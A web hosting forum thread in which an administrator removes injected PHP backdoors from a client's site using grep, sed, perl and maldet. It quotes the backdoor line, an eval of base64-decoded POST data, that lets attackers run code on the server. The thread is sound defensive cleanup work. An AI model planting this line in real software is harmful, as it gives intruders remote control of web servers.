Replace contents of files

Invader Zim

Invader Zim

Verified User
Joined
Sep 4, 2004
Messages
188
A client has a website with a huge amount of php files where base64_decode lines were inserted. It usually looks like this:
Code: 
<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['n6c3958']));?><?php

Note that after the initial <?php there is a variable number of spaces until 'eval'. The 7 charachters after the POST are also variable, but usually 7 characters long. And then it ends with the original <?php

So I've tried remove this with perl, (variable number of spaces, variable charachters after POST) and remove everything up to the original <?php at the end.

I put it in a script for future use because it has happened before and it will probably happen again. This is what I have:

Code: 
#!/usr/local/bin/bash

for FILE in `grep -r base64_decode *.php | grep POST | awk -F : '{print $1}'` ; do

        echo "File "$FILE
        sed -i '' 's/\<\?php\s+eval\(base64_decode\(\$\_POST\[.{9}\]\)\)\;\?\>//g' $FILE

done

We search the all files for base64_decode and then remove the string.

At least, that was the intention. All it does is reduce all files to 0 length. Not exactly helpful. I can't figure out where I went wrong.
 
Because base64_decode lines are not considered malware. At least not by clam. All I need is a string substitution that makes use of regexps, which, unfortunately, is not my forte.
 
Yes, that's correct. But still maldet can find such injections, even if clamav can't. maldet uses clam's search engine with it's own databases. Here is an example of a report:

Code: 
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/components/com_users/helpers/cache.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/components/com_banners/helpers/list.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/components/com_banners/models/banners.php
{HEX}php.base64.POSTpe80.182 : /home/userbob/domains/domain.com/public_html/components/com_weblinks/models/indexWa8UX.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/plugins/editors/tinymce/tinymce.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/plugins/user/profile/profile.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/plugins/editors-xtd/start.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/plugins/vmcalculation/avalara/classes/TextCase.class.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/plugins/vmcalculation/avalara/classes/CancelTaxRequest.class.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/plugins/search/categories/user.php
{HEX}php.base64.POSTpe80.182 : /home/userbob/domains/domain.com/public_html/plugins/search/contacts/wishlistirk9.php
{HEX}base64.inject.unclassed.7 : /home/userbob/domains/domain.com/public_html/plugins/vmpayment/systempay/config.php
 
I had to make a few modifications to get it to work with freebsd and it did find the files in question. However, when it comes to cleaning...

Code: 
maldet(69188): {clean} trying to clean /home/user/domains/domainname/public_html/wp-content/plugins/visual-form-builder/images/ini.php with base64.inject.unclassed rule
sed: -e: No such file or directory
maldet(69188): {clean} scanning /home/user/domains/domainname/public_html/wp-content/plugins/visual-form-builder/images/ini.php for malware hits
maldet(69188): {clean} clean successful on /home/user/domains/domainname/public_html/wp-content/plugins/visual-form-builder/images/ini.php

(user and domainname are placeholders for the actual user's username and domain name). Although the message says the file was cleaned successfully, it wasn't. And yes, sed is installed.
 
You'd think so, but I searched the script and there was no mention af a path in it. And sed's location is in the PATH environment variable.

Turns out that it did work, only the file I just happened to check was not cleaned. What are the odds?
 
Tried it on another account, no luck, so I went back to the script. Forsaking sed for perl. Cleaned 2400+ files in one go.

Code: 
#!/usr/local/bin/bash

# Find files with offending content
for FILE in `grep -r base64_decode * | grep POST | awk -F : '{print $1}'` ; do

        # Print file name and remove offending content
        echo "File "$FILE
        perl -pi -e 's/\<\?php\s+eval\(base64_decode\(\$\_POST\[.{9}\]\)\)\;\?\>//g' $FILE

done

# Remove all files whose size was reduced to 0 by removing offending content
find . -size 0 -exec rm {} \;

Note that I use FreeBSD and bash's location on FreeBSD is /usr/local/bin/bash, not /bin/bash
 
You must log in or register to reply here.
Back
Top